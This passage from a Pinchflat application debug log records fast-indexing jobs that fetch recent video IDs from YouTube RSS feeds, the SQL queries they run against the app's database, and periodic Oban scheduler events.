short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 11:40:50.650 [debug] QUERY OK source="tasks" db=0.0ms idle=45.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [622, 1, ~U[2026-07-24 11:40:50Z], ~U[2026-07-24 11:40:50Z]] 11:40:50.650 [info] {"args":{"id":1},"id":619,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":46457,"event":"job:stop","queue_time":445008,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 11:40:56.560 [info] {"source":"oban","duration":557,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:41:00.436 [info] {"source":"oban","duration":307,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:41:05.619 [info] {"args":{"id":3},"id":620,"meta":{},"system_time":1784893265619373995,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 11:41:05.619 [debug] QUERY OK source="sources" db=0.1ms idle=1007.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 11:41:05.619 [debug] QUERY OK source="settings" db=0.0ms idle=40.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:41:05.620 [debug] QUERY OK source="media_profiles" db=0.2ms idle=40.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:41:05.620 [debug] QUERY OK source="settings" db=0.0ms idle=6.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:41:05.620 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 11:41:05.649 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 11:41:05.649 [debug] QUERY OK source="media_items" db=0.2ms idle=29.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 11:41:05.651 [debug] QUERY OK source="media_items" db=1.8ms idle=30.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 11:41:05.652 [debug] QUERY OK source="tasks" db=0.0ms idle=31.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [623, 3, ~U[2026-07-24 11:41:05Z], ~U[2026-07-24 11:41:05Z]] 11:41:05.652 [info] {"args":{"id":3},"id":620,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":32904,"event":"job:stop","queue_time":467771,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 11:41:26.561 [info] {"source":"oban","duration":365,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:41:56.563 [info] {"source":"oban","duration":430,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:42:00.436 [info] {"source":"oban","duration":171,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:42:26.564 [info] {"source":"oban","duration":417,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:42:56.565 [info] {"source":"oban","duration":495,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:43:00.438 [info] {"source":"oban","duration":250,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:43:26.566 [info] {"source":"oban","duration":504,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:43:56.567 [info] {"source":"oban","duration":451,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:44:00.439 [info] {"source":"oban","duration":216,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:44:26.568 [info] {"source":"oban","duration":396,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:44:56.569 [info] {"source":"oban","duration":339,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:45:00.440 [info] {"source":"oban","duration":175,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:45:26.571 [info] {"source":"oban","duration":441,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:45:56.572 [info] {"source":"oban","duration":494,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:46:00.441 [info] {"source":"oban","duration":249,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:46:26.573 [info] {"source":"oban","duration":339,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:46:56.574 [info] {"source":"oban","duration":411,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:47:00.442 [info] {"source":"oban","duration":236,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:47:26.575 [info] {"source":"oban","duration":461,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:47:56.576 [info] {"source":"oban","duration":416,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:48:00.443 [info] {"source":"oban","duration":239,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:48:26.577 [info] {"source":"oban","duration":566,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:48:56.578 [info] {"source":"oban","duration":411,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:49:00.444 [info] {"source":"oban","duration":150,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:49:26.579 [info] {"source":"oban","duration":553,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:49:56.580 [info] {"source":"oban","duration":424,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:50:00.445 [info] {"source":"oban","duration":160,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:50:26.581 [info] {"source":"oban","duration":481,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:50:36.224 [info] {"args":{"id":2},"id":621,"meta":{},"system_time":1784893836224167665,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 11:50:36.224 [debug] QUERY OK source="sources" db=0.0ms idle=1006.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 11:50:36.224 [debug] QUERY OK source="settings" db=0.0ms idle=645.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:50:36.224 [debug] QUERY OK source="media_profiles" db=0.0ms idle=645.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:50:36.224 [debug] QUERY OK source="settings" db=0.0ms idle=6.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:50:36.224 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 11:50:36.489 [debug] Media ids fetched from RSS: ["FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 11:50:36.489 [debug] QUERY OK source="media_items" db=0.2ms idle=265.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 11:50:36.490 [debug] QUERY OK source="media_items" db=0.2ms idle=265.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 11:50:36.490 [debug] QUERY OK source="tasks" db=0.0ms idle=265.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [624, 2, ~U[2026-07-24 11:50:36Z], ~U[2026-07-24 11:50:36Z]] 11:50:36.491 [info] {"args":{"id":2},"id":621,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":266711,"event":"job:stop","queue_time":505877,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 11:50:51.242 [info] {"args":{"id":1},"id":622,"meta":{},"system_time":1784893851242315112,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 11:50:51.242 [debug] QUERY OK source="sources" db=0.0ms idle=1663.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 11:50:51.242 [debug] QUERY OK source="settings" db=0.0ms idle=1663.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:50:51.242 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1008.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:50:51.242 [debug] QUERY OK source="settings" db=0.0ms idle=6.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:50:51.242 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 11:50:51.504 [debug] Media ids fetched from RSS: ["r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 11:50:51.505 [debug] QUERY OK source="media_items" db=0.2ms idle=262.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 11:50:51.507 [debug] QUERY OK source="media_items" db=1.9ms idle=262.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 11:50:51.507 [debug] QUERY OK source="tasks" db=0.0ms idle=264.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [625, 1, ~U[2026-07-24 11:50:51Z], ~U[2026-07-24 11:50:51Z]] 11:50:51.508 [info] {"args":{"id":1},"id":622,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":265634,"event":"job:stop","queue_time":591905,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 11:50:56.582 [info] {"source":"oban","duration":386,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:51:00.446 [info] {"source":"oban","duration":194,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:51:06.258 [info] {"args":{"id":3},"id":623,"meta":{},"system_time":1784893866258139137,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 11:51:06.258 [debug] QUERY OK source="sources" db=0.1ms idle=1679.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 11:51:06.258 [debug] QUERY OK source="settings" db=0.1ms idle=1006.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:51:06.258 [debug] QUERY OK source="media_profiles" db=0.0ms idle=679.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:51:06.259 [debug] QUERY OK source="settings" db=0.0ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:51:06.259 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 11:51:06.421 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 11:51:06.421 [debug] QUERY OK source="media_items" db=0.2ms idle=163.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 11:51:06.423 [debug] QUERY OK source="media_items" db=1.8ms idle=163.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 